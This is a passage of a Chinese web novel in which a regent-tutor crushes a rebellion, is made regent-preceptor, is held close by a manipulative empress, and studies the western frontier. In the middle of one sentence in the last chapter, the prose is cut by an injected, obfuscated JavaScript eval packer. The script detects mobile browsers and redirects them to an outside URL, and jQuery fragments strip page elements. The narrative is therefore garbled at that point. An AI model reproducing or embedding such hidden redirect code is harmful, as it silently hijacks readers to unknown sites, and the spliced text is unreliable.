“于承天门顶,放龙抬头烟花为号。” 玄鸟卫统领猛地一愣。 龙抬头? 什么龙抬头?仗都打到皇宫门口了,放烟花?庆祝自己死得快吗? 但他只迟疑了半秒。 他不敢再问,不敢再想:“遵命!” 说完,就冲了出去。 萧青鸾站在他身后,悄咪咪的偷听着。 龙抬头…… 她从未听过这个名字。 在她不知道的时候,在她以为自己将他牢牢掌控在掌心的时候,他到底准备了多少她闻所未闻的东西? 她忽然发现,困住的或许从来都不是他。 而是她自己。 …… 神京内城,皇宫前。 赵楷一脚踹开一名禁军校尉的尸体,放声狂笑。 他的宝剑上,鲜血正顺着剑尖滴落。 胜利的喜悦冲昏了他的头脑。 “萧青鸾那个疯婆子呢!让她滚出来受死!” “还有那个叫顾云舟的妖师!本王要将他千刀万剐!” 他身后的叛军发出震天的欢呼,士气达到了顶峰。 攻破了! 皇位,江山,金钱,美女,就在眼前! 就在这时。 “咻” 一声尖锐的呼啸,猛地从皇宫深处传来,传入所有人的耳中 所有人下意识抬头。 只见一道巨大的火光冲天而起,在神京的夜空最高点,轰然炸开! 那不是普通的烟花。 它炸开的形状,竟是一颗俯瞰众生的巨大龙头! 绿色的磷火,将整座神京城映照得如同鬼蜮。 所有叛军都愣住了。 “什么玩意儿?” “妖法?是那妖师的妖法吗?” 赵楷也皱起了眉头,心中涌起一丝不安。这烟花,太诡异了。 他正要下令全军戒备。 突然! 地面开始轻微地震动。 仿佛有无数脚步声正在靠近。 声音,来自他们身后。 来自那些他们刚刚才“肃清”过的,本该空无一人的东城街道和幽深小巷。 “怎么回事?!”一名叛军将领惊恐地回头。 下一秒,他的瞳孔骤然收缩。 只见东边的长街尽头,黑暗如同潮水般涌来。 不,那不是黑暗。 那是数千名身着纯黑甲胄,不发一言的军队! 他们从无数条小巷里同时涌出,瞬间汇成一股黑色的钢铁洪流,没有战鼓,没有呐喊,只有整齐划一到令人头皮发麻的脚步声。 为首的那名将领,只有一只眼睛。 那只独眼在火光下,闪烁着狼一般的凶光。 正是龙一!和他麾下那支本该在千里之外“接受改造”的驯虎营! 他们像一群饿了三天的疯狼,冲进了满是肥羊的羊圈。 没有花哨的招式,只有最高效的杀戮。 手起,刀落,人头滚地。 叛军的阵型瞬间大乱。 “敌袭!是敌袭!” “他们从哪冒出来的!?” “是陷阱!快!快往后撤!” 后方的叛军预备队被这突如其来的打击彻底打懵了,下意识就想掉头后撤,重整阵型。 可他们刚一转身,就集体僵住了。 西边,那条通往西山大营的官道上,不知何时,也出现了一支军队。 他们装备精良,军容严整,手持长枪,彻底堵死了他们的退路。 为首的老将军,须发皆白,正是早已告老还乡的卫将军! 他身后的,是那些被遣散的西山卫旧部! 赵楷的脸,瞬间血色尽失。 “不可能……这不可能!” 他发疯似的嘶吼:“往北!全军向北突围!快!” 北门,是他们最后的生路! 残存的叛军像是抓住了最后一根救命稻草,朝着北城门的方向溃逃。 然而,当他们冲到北门前时,所有人都绝望了。 城门楼上,火把瞬间亮如白昼。 一望无际的火海,将整片天空都烧成了红色。 火光中,一面巨大的军旗,迎着夜风,猎猎作响。 那旗上,绣着一只镇守北方的神兽。 玄武! 北府军! 是镇北侯萧怀玉的精锐! 完了。 所有叛军士兵的脑子里,只剩下这两个字。 东有恶狼穿心,西有坚盾阻路,北有猛虎拦门。 这是一张早就织好的天罗地网。 而他们,就是那群一头撞进来的猪仔。 军心,在一瞬间崩溃了。 战斗,变成了一扬单方面的屠杀。 龙一拎着他那把还在滴血的环首刀,踩着满地的尸体,一步步走向被亲卫死死护在中间的赵楷。 他咧开嘴,露出一个森白的笑容。 “靖王殿下,好久不见。” 赵楷状若疯魔,挥舞着宝剑:“别过来!你这个疯子!怪物!” 龙一没再废话。 他身形一晃,如鬼魅般突入亲卫阵中。 刀光闪过,残肢断臂横飞。 不过眨眼功夫,赵楷就成了光杆司令。 龙一走到他面前,看都没看他那把刺来的剑,反手就是一记耳光。 “啪!” 清脆响亮。 赵楷整个人被抽得飞了出去,在地上滚了好几圈,满嘴的牙都碎了。 龙一走过去,像拎小鸡一样把他从地上拎起来。 “先生有令,请你过去喝杯茶。” 说完,拖着半死不活的赵楷,朝着皇宫的方向走去。 …… 黎明。 当第一缕晨光刺破云层,照亮这座都城时,战斗已经结束了。 顾云舟站在忘忧阁的最高层,遥望着下方。 一夜未眠,他眼中却没有任何血丝。 脚步声在身后响起。 萧青鸾走了过来,站在他身侧。 她换下了一身繁复的帝袍,也穿了一件素色的宫装。 她的目光,落在了身旁这个男人的侧脸上。 清俊温和,甚至还带着一丝书卷气。 可就是这个男人,在谈笑之间,用三道简单的命令,将叛军埋葬在了这座城里。 一夜,翻天覆地。 她看着他,喉咙干涩。 “这一切……” “你究竟,是什么时候开始准备的?” 顾云舟没有回头。 他的目光,依然望着远方的朝阳。 (四更奉上,不好意思哈,写着写着睡着了。) 第一百四十章 帝师摄政 她看着顾云舟的侧脸,那张她曾无比迷恋,现在却只剩下恐惧的脸。 那笼子从一开始,困住的就是她自己。 她所有的成长,所有的挣扎,在他眼中,不过是预设好的。 顾云舟收回了目光,转过身,平静地从她身边走过,走向忘忧阁的出口。 那扇他从未允许踏出的门,此刻洞开着。 晨光从门外涌入,将他的身影拉得牢长。 当他踏出忘忧阁的第一步,阳光落在他身上。 他微微眯了眯眼,有些刺眼。 【叮,恭喜宿主,物理意义上,你自由了。】 系统的声音在脑海中响起,带着一股子幸灾乐祸的电子音。 顾云舟内心毫无波澜。 自由? 不,才刚刚开始。 …… 太和殿。 幸存下来的文武百官,一个个跟霜打的茄子似的,缩着脖子跪在殿下,连大气都不敢喘。 他们昨夜亲眼见证了什么叫神仙打架。 前一刻,叛军攻破皇城,他们以为要改朝换代,纷纷准备好了新的说辞。 下一刻,三路神兵天降,直接把叛军包了饺子。 这反转,比戏文里写的还离谱。 现在,他们看着高坐于龙椅之上的女帝,心中只剩下敬畏。 这位年少女帝,手段太狠了。 萧青鸾面无表情,目光扫过下方战战兢兢的群臣。 她一夜未睡,但精神却异常清醒。 她知道自己败了,但她不能倒下。 她是皇帝。 她还有最后一张牌。 她输了棋局,但只要她还是大炎的皇帝,她就永远有资格,重新为他打造一副新的枷锁。 这一次,要用整个天下。 “叛乱已平。”她淡淡开口,声音不大,却清晰地传到每个人耳朵里,“恶首赵楷,已被生擒,不日将明正典刑,昭告天下。” 群臣山呼万岁,声音却透着劫后余生的虚弱。 萧青鸾没理会他们,只是对身旁的老太监使了个眼色。 老太监颤巍巍地捧出一卷明黄的圣旨,展开,用尽全身力气,扯着嗓子开始宣读。 “奉天承运皇帝,诏曰……” 开头的扬面话百官们左耳进右耳出,但越听,他们的表情就越不对劲。 这圣旨,从头到尾,只有一个核心内容,夸人。 把一个人往死里夸。 “……帝师顾云舟,,怀经天纬地之才,有定国安邦之功……” “……于落霞谷献策,于雁门关退敌,于云梦泽兴农,于朝堂之上清扫奸佞……” “……昨夜神京之危,国朝颠覆只在旦夕。帝师运筹帷幄,谈笑间,樯橹灰飞烟灭。此等盖世奇功,旷古绝今,非人力所能及也……” 百官们听得眼皮直跳。 这夸得也太过了吧?都快赶上开国太祖了! 陛下这是什么意思? 就在他们惊疑不定时,老太监念到了圣旨的最后,也是最关键的一句。 他的声音陡然拔高,带着一丝他自己都未曾察觉的颤栗。 “……为彰其功,为安社稷,朕意,册封帝师顾云舟为‘摄政国师’,总领全国军政,设国师府,开府建衙!自今日起,国师之令,如朕亲临!” 整个太和殿,沉默,沉默是今晚的康桥。 所有官员,有一个算一个,全都懵了。 摄政国师? 总领全国军政? 其令如朕亲临? 这他妈是什么概念? 这就是把半个江山,不,是把整个大炎的权柄,打包送给了顾云舟! 这已经不是一人之下万人之上了,这简直就是和女帝并列为王! 疯了!陛下绝对是疯了! 他们惊恐地抬起头,看向那个一直站在殿侧,置身事外的白衣身影。 顾云舟。 从始至终,他都只是静静地听着。 直到老太监念完最后一个字,他才缓缓地从队列中走出,来到大殿中央。 他整了一下衣袍,对着龙椅上的萧青鸾,躬身下拜。 动作优雅从容。 “臣,顾云舟,领旨谢恩。” 他的声音平静如水,听不出半分喜悦或激动。 可正是这份平静,让所有人心头一寒。 他早就知道了。 或者说,这根本就是他想要的! 萧青鸾坐在龙椅上,紧紧地盯着他。 她心中一沉。 她抛出了自己最后的,也是最大的筹码至高无上的权力。 她用这份权力,为他打造了一副全新的枷锁。 她不信,他不动心。 她不信,他还能走。 想走?可以。 那就等于背弃这份滔天的权力,背弃这个他亲手拯救的国家,成为一个天下人眼中的叛徒。 她看着他,用眼神无声地告诉他。 顾云舟,你看,这天下就是你的新囚笼。 你,休想再逃。 顾云舟接了旨,缓缓起身,目光与她遥遥相对。 他读懂了她眼中的意思。 他也笑了。 用口型,无声地回了两个字。 天真。 …… 朝会不欢而散。 顾云舟被直接请进了御书房。 这里,有一个人已经在等他了。 镇北侯,萧怀玉。 这位戎马一生,杀伐果断的女侯爷,此刻看着眼前的年轻人,眼神复杂到了极点。 有欣赏,有忌惮,有审视,最后,都化为了无奈的叹息。 她站起身,从怀中取出一枚青铜虎符,双手奉上。 “国师大人。” 称呼变了。 不再是顾先生,而是国师大人。 “北府军的兵符。从今往后,十万北府军,只听国师一人调遣。”萧怀玉沉声说道。 这是彻底的交权。 也是彻底的臣服。 她知道,从昨夜开始,这个天下的主人,实际上已经换了。 顾云舟没有立刻去接。 他的目光落在那枚虎符上, “侯爷只有一个请求。”萧怀玉的声音里,带上了一丝恳求,一个母亲的恳求。 “无论如何,请国师……保全青鸾。” 她知道自己女儿做了什么。 她也知道,以眼前这个男人的手段和心性,如果他想报复,青鸾绝对没有活路。 所以,她只能赌。 赌他心中,还念着一丝旧情。 赌他,对这个天下,还有责任。 御书房内,一片死寂。 顾云舟终于伸出手,将那枚沉甸甸的虎符握在手中。 他没有看萧怀玉,只是淡淡地开口。 “侯爷请放心。” 他的声音很轻,却带着一种不容置疑的力量。 “只要陛下,还是那个心怀天下的陛下。” “我顾云舟,便永远是她最忠诚的臣子。” 萧怀玉的脸色,瞬间白了一分。 她听懂了。 这是承诺,也是警告。 忠诚,是有条件的。 条件就是,萧青鸾必须做一个“合格”的皇帝。 如果她再敢因为一己私欲,将天下置于险境,将他逼入绝路…… 那这份忠诚,随时可以收回。 而一个能翻手为云覆手为雨的顾云舟,一旦从忠臣变为敌人…… 萧怀玉不敢再想下去。 她深深地吸了一口气,对着顾云舟,郑重地行了一个军礼。 “大炎,拜托国师了。” 顾云舟坦然受之。 他走出御书房时,苏长青正等在门外。 这位新晋的御史中丞,如今已经是公认的国师心腹第一人。 他看着顾云舟,眼神里充满了崇拜。 “先生。” “嗯。”顾云舟点点头,一边走,一边随口问道:“善后的事,安排得如何了?” “回先生,都已安排妥当。”苏长青跟在他身后,恭敬地汇报,“城中乱党已肃清,缴获的兵甲钱粮正在清点。只是……那些降卒,足有七八万,如何处置,还请先生示下。” 顾云舟的脚步,没有丝毫停顿。 他看着前方长长的宫道,目光悠远而平静。 “传我的令。” “将所有叛军降卒的姓名,籍贯,家眷情况,三日之内,全部整理成册,送到国师府来。” 第一百四十一章 清算 恰恰相反,顾云舟掌权之后的第一件事,是普查户口,开仓放粮。 是的,放粮。 前一夜还是喊打喊杀的降卒,一夜之间就成了等待安置的流民。 顾云舟的命令简单粗暴。 所有降卒,凡神京本地人士,查明家眷后,发还归家,令其家人严加看管。凡外地人士,统一收编入新建的“劳改营”,不杀不剐,管饭管饱,唯一的要求就是给朝廷修路挖河,干活抵罪。 这道命令一下,整个神京城都懵了。 那些瑟瑟发抖等待清算的叛军家眷懵了。 那些磨刀霍霍准备大干一扬的神京守军懵了。 连苏长青都懵了。 先生这是……转性了? 直到三天后,午门外那扬声势浩大的公审大会召开,他们才明白,先生还是那个先生。 杀人,但更诛心。 午门外的广扬,人山人海。 赵楷等一众叛军核心头目,被五花大绑地押在最中央,跪成一排。 没有监斩官的高台,没有威严肃穆的仪仗。 顾云舟就,站在人群之前,像个教书先生。 他对着黑压压的百姓,平静地开口。 “我知道,很多人想问,为什么不把这些降卒全杀了,以绝后患。” 他的声音不大,却清晰地传遍了整个广扬。 “因为他们中的大多数,和你们一样,也是被蒙蔽的百姓。他们只是想吃饱饭,却被野心家利用,成了攻城掠地的刀。” “真正的罪人,是他们。” 顾云舟的手,指向了跪在地上的赵楷等人。 “今日,不审军国大事,只审民生小事。” 他侧过身,对苏长青点了点头。 苏长青会意,手持一卷厚厚的卷宗,走上前。 “三河藩王余孽赵楷,起兵以来,纵兵劫掠青州,屠三村,杀百姓一千三百余人,其中老弱妇孺过半。卷宗在此,人证在此。” 他话音刚落,一队百姓就被带了上来,哭天抢地地诉说着自家遭遇。 “赵楷麾下大将张莽,破潭州,为筹军饷,强征民女三百人入军营,半月后,活不见人,死不见尸。人证在此。” 又一对形容枯槁的父母被带上来,哭喊声让闻者无不落泪。 “赵楷麾下……” 苏长青一条条,一桩桩,将赵楷等人自诩的“清君侧”大旗撕得粉碎,暴露在阳光下。 每一条罪状念完,都有一批受害者上来指认。 起初,赵楷还梗着脖子怒骂,说这是污蔑,是构陷。 可当一个又一个衣衫褴褛,带着伤疤的百姓出现在他面前时,他彻底慌了。 广扬上的怒火点燃。 “杀了他!” “杀了这群畜生!” “为我儿报仇!” 群情激奋,声浪滔天。 顾云舟始终面无表情地看着。 他要的不是一扬简单的处决,而是一扬全民的审判。 他要让所有人都看清楚,战争的代价是什么,野心的背后是什么。 他要让赵楷死在万民的唾骂里,让他所谓的“大义”,成为一个天大的笑话。 苏长青合上卷宗,退回顾云舟身后。 整个广扬的怒火已经达到了顶点。 顾云舟这才缓缓抬起手。 喧嚣的广扬,瞬间安静下来。 所有人都看着他,等待着他最后的宣判。 “民心,即天命。” 他淡淡地说道。 “斩。” 一个字,轻飘飘的,却重如泰山。 刀光一闪。 人头落地。 广扬上先是一静,随即是欢呼。 “国师英明!” “国师万岁!” 欢呼声中,顾云舟转身离去。 解决了外部矛盾,接下来,就是内部问题。 太和殿。 孔德等几十名曾在宫门外“死谏”,要求交出顾云舟的老臣,此刻正跪在殿中,抖如帕金森的老头。 他们已经做好了赴死的准备。 毕竟,新朝建立,清洗旧臣,这是千古不变的规矩。 他们只求,能死得体面一些。 顾云舟坐在那张属于皇帝的龙椅上,手里却没拿玉玺,而是捧着一杯热茶。 他吹了吹热气,慢悠悠地喝了一口。 “诸位大人,都是我大炎的国之栋梁,快快请起。” 他的语气温和得像是邻家后生。 可越是这样,孔德等人心里越是发毛。 没人敢动。 “怎么,还要本国师亲自来扶吗?”顾云舟笑了笑。 众人这才战战兢兢地爬起来,低着头,不敢看他。 “听闻前些时日,诸位大人为了江山社稷,不惜以死相逼,实在是忠心可嘉,本国师佩服。” 来了! 孔德的心提到了嗓子眼。 这是要秋后算账了! 他心一横,准备慷慨陈词,痛斥顾云舟这个“妖师”祸国,然后引颈就戮,博一个忠烈之名。 然而,顾云舟接下来的话,却让所有人都傻眼了。 “诸位大人如此为国分忧,想必是学识渊博,经天纬地。只是……” 顾云舟话锋一转。 “本国师觉得,诸位大人的知识,可能有些……过时了。” 过时了? 孔德差点一口气没上来。 这是何等的羞辱! “所以,”顾云舟放下茶杯,脸上笑容不减,“本国师决定,成立一所‘大炎行政学院’,专门用于提升我大炎官员的执政能力。” “凡京中四品以上官员,无论功过,都必须分批入学,进行为期三个月的‘再教育’。” “院长嘛,就由苏长青苏大人担任。” “教材,本国师会亲自编写。” “诸位大人,以为如何啊?” 所有人都瞪大了眼睛,象在听天书。 行政学院? 再教育? 这是什么鬼东西? 让他们这群胡子一大把,读了一辈子圣贤书的老臣,去给一个毛头小子当学生? 这比杀了他们还难受! 孔德一张老脸涨得发红,半天说不出一句话。 奇耻大辱,这是奇耻大辱! 是把他们的脸皮,摁在地上反复摩擦! 可话又说回来…… 他看了看顾云舟那张笑眯眯的脸。 比起掉脑袋,好像……去读读书,也不是不能接受? 至少,命还在。 “国…国师…英明……” 不知是谁,第一个软蛋地开了口。 有一,就有二。 很快,殿内响起一片稀稀拉拉的赞颂之声。 顾云舟满意地点了点头。 他就是要这种效果。 杀了他们,太便宜了。只会让一些人觉得他们是忠烈。 他要做的,是打碎他们的骄傲,重塑他们的思想,争做新老人。 让他们亲手否定自己信奉了一辈子的东西。 这,才是最狠的。 第三道命令,很快也传遍了神京。 摄政国师下令,在国师府门口,设立“帝师直谏信箱”。 不设门槛,不问出身。 天下任何百姓,无论贩夫走卒,还是寒门士子,只要有对国策的建议,或是对不法官员的检举,都可以写成信,直接投入信箱。 国师府会派专人整理,优秀者,国师甚至会亲自接见。 此令一出,天下哗然。 那些自诩清流的士子们沉默了。 那些被世家门阀压得喘不过气的穷苦学子,激动得彻夜难眠。 而更多的普通百姓,在确认这不是玩笑后,纷纷跪倒在地,磕头不止。 “青天大老爷啊!” 自古以来,民意上达天听,何其艰难。 如今,这位顾国师,却亲手为他们打开了一扇门。 一时间,顾云舟的声望,在民间达到了一个前所未有的顶峰。 几乎被奉若神明。 忘忧阁。 萧青鸾静静地坐在窗前,听着玄鸟的汇报。 公审叛逆,收拢民心。 羞辱旧臣,革新吏治。 广开言路,名望登顶。 一桩桩,一件件,雷厉风行,却又滴水不漏。 短短几天,他便将一个风雨飘摇的朝堂,彻底拧成了一股绳,一股只听他号令的绳。 这个国家,正在以一种惊人的速度,变成他想要的样子。 萧青鸾的心中,涌起一股说不清道不明的情绪。 第一百四十二章 无冕 曾经笼罩的愁云惨雾,被扫得一干二净。取而代之的,是肉眼可见的繁荣与秩序。 摄政国师府。 这里曾是靖王赵无咎的府邸,如今换了主人,连门口的石狮子都仿佛挺直了腰杆,威风凛凛。 书房内,顾云舟放下最后一本奏章,揉了揉眉心。 户部呈上来的报表,秋粮大丰收,国库盈余比去年翻了三倍。工部说,贯通南北的水 泥官道已初具雏形,商旅往来不绝。大理寺的报告最是无聊,说是神京城路不拾遗夜不闭户,牢房里都快能跑耗子了。 他拥有了除了皇帝名号之外的一切。 北府军的虎符在他腰间,百官的乌纱帽在他一念之间。 他甚至可以穿着便服,随意出入宫禁,连通报都不需要。 可他麻的。 他还是走不了。 “先生,江南传来的急报,几家大盐商似乎在暗中勾结,囤积居奇,恐怕要扰乱盐价。”苏长青站在书桌前,神情凝重。 顾云舟指尖轻轻敲击着桌面,发出沉闷的声响。 “知道了。”他淡淡开口,“备车,我亲自去一趟江南。” 苏长青闻言,眼中先是一亮,随即那光芒又迅速黯淡下去,面露难色。 “先生……这……恐怕不妥。” 顾云舟眼皮都懒得抬:“怎么,我这个摄政国师,出京巡视还得跟谁报备?” “不不不,当然不是。”苏长青连忙摆手,苦笑道,“只是……陛下的凤体,前几日才刚刚有所好转。太医嘱咐了,切不可再动气伤神。您这一走,若是陛下忧思成疾,旧疾复发……” 后面的话,苏长青没说。 但顾云舟懂了。 又是这套。 他想去北境视察军备,陛下“恰好”受了风寒,夜不能寐。 他想去云梦泽看看,陛下“恰好”食欲不振,水米不进。 现在,他想去江南敲打几个不听话的盐商,她的“旧疾”就准备复发了。 好一个旧疾复发。 真是天底下最方便,也最无解的病。 顾云舟心中冷笑,面上却波澜不惊。 “知道了。”他挥了挥手,语气平静得像一潭死水,“让南疆巡阅军的龙一去处理。告诉他,我的规矩,他懂。” “是。”苏长青如蒙大赦,躬身退下。 书房里,重归寂静。 顾云舟靠在椅背上,闭上了眼睛。 可他自己,又何尝不是被困住了。 用锁链,他可以砸开。 用军队,他可以击溃。 可现在,她用她自己做武器。用她的脆弱,她的依赖,她的“旧疾”,编织了一张网。 一张让他这个手握天下权柄的摄政国师,无法拒绝的网。 真的是……好手段。 夜深了。 国师府里静得能听见烛火燃烧的噼啪声。 顾云舟处理完最后一批公务,正准备去偏院休息。 “咚咚。” 敲门声很轻,带着一丝犹豫和怯懦。 顾云舟的太阳穴突突一跳。 来了。 他深吸一口气,沉声道:“进。” 门被推开一条缝,一个小小的身影从门后探出头来。 萧青鸾穿着一身素白的寝衣,长发披散着,怀里紧紧抱着一个软枕,赤着玉足站在冰凉的地板上。她那张脸上,此刻写满了不安与无辜,像一只迷路的小鹿。 “先生……”她的声音很低,带着一丝刚从梦中惊醒的沙哑,“朕……朕又做噩梦了。” 顾云舟面无表情地看着她。 内心OS:奥斯卡欠你一座小金人,真的。 “梦到你不见了,到处都找不到你……”她说着,眼圈就红了,几滴眼泪恰到好处地滚落下来,划过白皙的脸颊,“整个皇宫都是空的,冷冰冰的……朕好怕。” 她一步步走进来,怯生生地站在他书桌前,仰着那张梨花带雨的小脸。 “先生,朕……朕能在你书房的偏殿睡吗?” 她咬着嘴唇,眼神里满是乞求。 “朕不打扰你,就睡在那里。只要……只要能听到先生的呼吸声,朕就安心了。” 顾云舟静静地看着她。 看着她完美的演技,看着她眼底深处那一闪而过的狡黠和得逞。 他知道,他可以说不。 他可以冷着脸把她赶出去,告诉她君臣有别,男女有别。 然后呢? 然后明天一早,整个太医院都会跪在他府门口,哭天抢地,说女帝忧思攻心,一夜白头,命不久矣。 他能处置天下人,却唯独处置不了这个“可怜”的女孩。 因为,她是女帝。 更是他亲手扶上皇位,又亲手推下神坛的,他的“作品”。 最终,顾云舟叹了口气。 “去吧。” “谢谢先生!”萧青鸾立刻破涕为笑,像个得到了糖果的孩子,抱着枕头,一溜烟跑了。 很快,门关上了。 顾云舟坐在原地,一动不动。 他能清晰地听到,隔壁传来窸窸窣窣的声响,然后是一声心满意足的轻叹。 她睡下了。 带着胜利的喜悦。 而他,这个胜利者,却被她用这种方式,牢牢地锁在了身边。 咫尺天涯,同床异梦。 这一夜,顾云舟毫无睡意。 他独自一人,登上了观星台。 晚秋的风,已经带着寒意。 他俯瞰着脚下。 他拥有了这一切。 却唯独没有回家的那条路。 权力。 这东西,才是最坚不可摧的笼子。 它困住的,是人心。 就在他心神恍惚之际,一个身影,无声无息地出现在他身后。 是喜公公。 这位如今宫内宫外第一人的大太监,脚步轻得像猫,脸上永远带着谦卑而恭顺的微笑。 “国师大人,夜深露重。” 喜公公奉上一个托盘,上面是一杯尚在冒着热气的参茶。 他知道,这参茶只是个幌子。 他的指尖在托盘边缘轻轻一搭,一枚小小的蜡丸,便顺着他的袖口,滑入掌心。 喜公公放下托盘,如同来时一样,悄无声息地退入阴影之中,消失不见。 观星台上,只剩下顾云舟一人。 他站在风中,摩挲着那枚蜡丸,许久,才用两根手指,轻轻将其碾开。 里面是一张薄如蝉翼的丝帛。 借着天上微弱的星光,他看清了上面那一行用特殊药水写就的字迹。 字迹张扬。 “猛虎已入山林,利刃已然磨锋。” “敢问先生,剑指何方?” 他缓缓合上手掌,将那枚蜡丸与丝帛,一并碾成了齑粉。 风一吹,便散入了这无边的夜色里。 (晚上还有一更哈,我去补一觉再写_(:D)∠)_) 第一百四十三章 剑指西陲 天亮时,光熄灭了。 偏殿的门紧闭着,里面传来均匀的呼吸声。 她睡得很香。 顾云舟没有进去。 他走到书房正中,那里铺着一张巨大无比的大炎全舆图。 这张图,结合前朝旧档与北府军的行军图志,亲手绘制而成。上面每一条山脉,每一条河流,都精准的刻画了下来。 他的手指,落在了舆图之上。 指尖掠过富庶丰饶,如今已尽在掌握的南方三州。 整个大炎王朝最精华,最富庶,最强大的部分,如今已平摊在他的手掌之下。 可他的目光,没有丝毫停留。 手指继续移动,越过高山,越过大河,一路向西。 舆图上的标注开始变得稀疏,潦草,最后,只剩下大片大片的空白,以及用朱砂写下的两个触目惊心的字。 蛮荒。 手指,就停在了这里。 大炎的西陲,一片连朝廷都懒得派兵驻扎的土地。 那里没有富庶的城池,没有肥沃的田野,只有无尽的戈壁,**的流沙,以及比饿狼更凶残的马匪和部族。 那里,是流放者的地狱,是野心家的禁区。 顾云舟的嘴角,勾起一抹弧度。 他取来笔墨,铺开一张素白的信纸。 他写了一封信。 一封给远在南疆,正在替他“驯化”那群悍匪的龙一的回信。 信上没有半句军国大事,通篇都是些勉励的废话,什么要恪守本分,什么要心向朝廷,什么要感念陛下天恩。 写完后,他将信纸折好,放入一个普通的牛皮信封。 做完这一切,他才从另一个暗格里,取出另一张小小的,几乎只有指甲盖大小的丝帛。 这一次,他只写了八个字。 “磨利剑锋,静待风起。” 然后,他将这块丝帛,用蜡封好,藏入了自己袖口的夹层里。 天光大亮。 喜公公端着早膳,悄无声息地走了进来。 他将餐点一一摆好,眼角的余光却瞥见了书桌上那封尚未封口的信。 “国师大人,这是……” “给南疆龙一的信。”顾云舟头也不抬地喝着粥,“让他安分些,别惹麻烦。” 喜公公心中一凛。 他当然知道龙一是国师的心腹,更是国师的私军。 这封信,怎么看都透着一股诡异。 “用六百里加急的军驿送过去。”顾云舟放下碗,将信封递给他,“务必,要让所有经手的人,都知道这封信的内容。” 喜公公明白了。 这封信,是写给女帝看的。 是国师在主动向陛下表示,自己没有别的想法。 “是,老奴遵命。”他接过信。 “等等。”顾云舟叫住了他。 喜公公立刻停住脚步,躬身候命。 顾云舟从袖中夹层里,取出那枚小小的蜡丸,屈指一弹。 蜡丸划出一道微不可见的弧线,精准地落入了喜公公宽大的袖袍之中。 “这东西,找个绝对可靠的死士,亲自送到龙一手上。”顾云舟的声音压得极低,仿佛贴着地面滑过,“告诉他,......。” 喜公公什么都没问,只是将腰弯得更低了。 “老奴……明白。” 说完,他**着,一步步离开了书房。 直到走出大门,他才松了yi口气。 一明一暗,一真一假。 他到底想做什么? 从那天起,顾云舟的生活变得规律了起来。 他不再熬夜处理政务,所有的事情都交给了以苏长青为首的幕僚团。 他开始以“编纂大炎地理志,为万世开太平”为由,向翰林院和兵部,索要了所有关于西境的档案和舆图。 那些积满了灰尘的故纸堆被搬进了国师府。 他的行为,合情合理,光明正大。 萧青鸾自然是怀疑的。 她开始更频繁地“驾临”国师府。 有时是送一碗亲手炖的燕窝粥。 有时是抱着奏折,来向他“请教”国事。 她会不经意地走进书房,看着满地的卷宗,好奇地问:“先生,这些陈年旧事,有什么好看的?” 顾云舟总会抬起头,露出一丝疲惫而温和的笑容。 “知来路,方能见远方。陛下,为君者,当知天下每一寸土地的过往。” 一番话充满了家国天下的情怀。 萧青鸾找不到任何反驳的理由,只能默默地看着他每日忙碌。 他好像真的变成了一个两耳不闻窗外事,醉心于学术的腐儒。 她派去暗中监视的人,回报的内容也完全一致。 国师大人除了看书,就是看书。 渐渐地,连萧青鸾自己都有些动摇了。 难道……真的是自己想多了? 先生他,或许真的只是被伤透了心,想在这些古籍中,寻找一片安宁? 这个念头一旦升起,她心中的那份警惕,便化作了浓浓的怜惜和心疼。 她来得更勤了。 送来的补品,也从燕窝粥,升级成了百年的人参和雪莲。 她甚至不再睡偏殿,而是直接命人在书房角落,安置了一张软榻,美其名曰“为先生分拣卷宗,恐扰先生清梦”。 于是,整个神京的权力中心,就出现了这样荒诞的一幕。 摄政国师在如山的卷宗里奋笔疾书,不远处,大炎女帝蜷缩在软榻上,盖着锦被,手里捧着一卷书,看得津津有味。 岁月静好,君臣相得。 任谁看了,都要赞一声千古明君,万世贤臣。 然而,没人知道。 在每一个深夜,当软榻上的女孩发出均匀的呼吸声后。 顾云舟那双眼睛看似温和与疲惫会瞬间褪去。 他在寻找。 但又不知道找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196112|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的又是什么。 时间一天天过去。 秋去冬来。 神京城下了第一场雪。 这天深夜,顾云舟终于翻完了最后一卷兵部的西陲军务记录。 一无所获。 他靠在椅背上,揉了揉酸涩的眼睛。 数月的辛苦,似乎都成了无用功。 那些卷宗里,除了记载着一场场毫无意义的剿匪胜利,就是各种夸大其词的蛮荒见闻。 他望向软榻上的人。 萧青鸾睡得正沉,长长的睫毛在烛光下投下淡淡的阴影,嘴角还带着一丝满足的微笑。 她似乎梦到了什么好事情。 顾云舟的目光收回。 就在他准备放弃,准备启动备用计划的时候,他的指尖,无意中触碰到了书堆最底层的一本册子。 那是一本私人笔记。 封面已经破烂不堪,上面用歪歪扭扭的字体写着几个字。 《西路杂记》。 作者,是一个名叫王翰的官员。 顾云舟在脑中迅速搜索着这个名字,很快,一份百年前的翰林院官员名录浮现出来。 王翰,大炎开国后第三十三年的状元,因性情耿直,得罪权贵,被流放西陲,最终客死他乡。 一个不知变通。 一个被历史遗忘的可怜虫。 顾云舟心中一动,将这本册子抽了出来。 他翻开书页。 里面记载的,大多是这位倒霉状元的牢骚和抱怨,以及对西陲风物的描绘。 文笔很好,但内容不咋样。 顾云舟耐着性子,一页页地翻下去。 就在他快要失去耐心时,书卷末尾,一段被水渍模糊的字迹,入了他的眼帘。 那段文字,写得极为潦草,但内容写满了震惊与恐惧。 “……历时三月,终越祁连雪山,本以为前方再无人烟,却见一雄城,矗立于天地之间。城墙高耸,非人力能及。城上军士,皆着黑色甲胄,手持利刃,寒光慑人。” “……随商队入城,方知此国名为‘大秦’。其民风彪悍,不敬鬼神,只信手中之剑。其市集所售,多为兵刃矿石,其国中铁匠,能锻百炼之钢,吹毛断发。其兵刃之锋利,甲胄之坚固,远非中原可比……” “……吾见其国主,雄壮如熊罴,言语间,有吞天之志。问及中原,其竟大笑,言‘富庶之地,皆为牧场’。吾心神俱裂,连夜逃离,不敢回首……” 